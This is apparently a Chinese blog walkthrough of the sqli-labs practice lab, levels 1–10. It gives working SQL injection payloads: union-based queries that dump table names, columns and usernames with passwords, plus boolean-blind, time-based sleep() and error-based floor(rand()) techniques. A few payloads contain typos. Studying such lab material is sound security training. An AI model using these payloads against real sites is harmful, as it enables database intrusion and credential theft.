sqli-labs个人注入心得

一世执手 提交于 2020-02-03 06:08:46

闭合方式类型都有一般是’,",或 无闭合符号 或 '),")

Less-1

尝试?id=1

在这里插入图片描述
注释符号为–+、-- 、#。
当尝试?id=1’)时
在这里插入图片描述
很明显是属于单引号闭合方式
用–+注释掉后面的
在这里插入图片描述

接下来就要判断一下列数?id=1’ order by 10–+,发现
在这里插入图片描述
多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。
在这里插入图片描述

在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
{
数据库经常引用的词汇!
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}
爆数据库名:
后采用联合注入查看当前数据库名和数据库版本号

查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

http://10.2.10.31/sqli-labs/Less-1/?id=-1’ union select 1,database(),version() --+

得到数据库名security和版本号
在这里插入图片描述
爆列表:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

在这里插入图片描述
然后进行爆字段?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+
在这里插入图片描述

接下来把用户名和密码全爆出来?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

在这里插入图片描述
{0x3a不加以后的情况}

Less-2
在这里插入图片描述
判断是无闭合符号
只需要把第一关的id=0后面的’去掉就可以了。

Less-3
在这里插入图片描述
闭合方式为’)
同第二关

Less-4
在这里插入图片描述

判断为”)闭合

(“1”不显示 说明已经被闭合了本该显示的 )
剩下的等同于第一关

Less-5(何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注

在这里插入图片描述
先判断闭合方式

单引号闭合判断而且经过判断为布尔盲注(正确的时候返回 you are in 错误时候不返回任何值)、
(1)利用 left(database(),1)进行尝试 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,返回的结果是正确的。
在这里插入图片描述

接下来看一下数据库的长度 http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20length(database())=8%23 长度为 8 时,返回正确结果,说明长度为 8.
在这里插入图片描述

猜测数据库第一位 (已知security)http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+
很明显第一位是s大于a> a, 所以返回正确。当我们不知情的情况下,可以使用二分法来提高注入的效率。 接下来等同这一步操作。
直到猜到security的数据库名

接下来运用利用 substr() ascii()函数:
ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101
在这里插入图片描述

方法二:
报错注入
公式 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)

{payload 为自己构造的sql语句 (select group_concat(schema_name) from information_schema.schemata)}

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

得到如下结果:
在这里插入图片描述

利用 double 数值类型超出范围进行报错注入

在这里插入图片描述

Less-6
先判断闭合条件
在这里插入图片描述
双引号闭合 可以参照第五关的布尔盲注

Less-7
判断闭合条件
在这里插入图片描述

思考半天还是没有什么思路就暂且放弃了

Less-8

测试注入点:
127.0.0.1/sqli-labs/Less-8/?id=1’
在这里插入图片描述
发现无回显

写入注释后
在这里插入图片描述
有回显
说明我们已经成功闭合了
先判断字符长度
/Less-8/?id=1’ and if(length(database())>8,1,sleep(5)) --+
在这里插入图片描述
判断为8
接下来爆数据库名
/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
在这里插入图片描述
得到数据库名第一个字母s
在这里插入图片描述接着同样的测试得到全部的数据库名。

Less-9
无论如何尝试 页面始终没有任何变化 判断为时间盲注
尝试?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#,页面过了一会响应,判断闭合方式为单引号。
得到第一位为s接下来尝试第二位:?id=1’ and if(ascii(substr(database(),2,1))>115, 0, sleep(5))#

在这里插入图片描述
得到数据库名为security
接下来猜测列表名
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+ 猜测第一个数据表的第一位是 e,…依次类推,得到 emails
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+ 猜测第二个数据表的第一位是 r,…依次类推,得到 referers

Less-10

将第九关的’换为” 就可过关。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!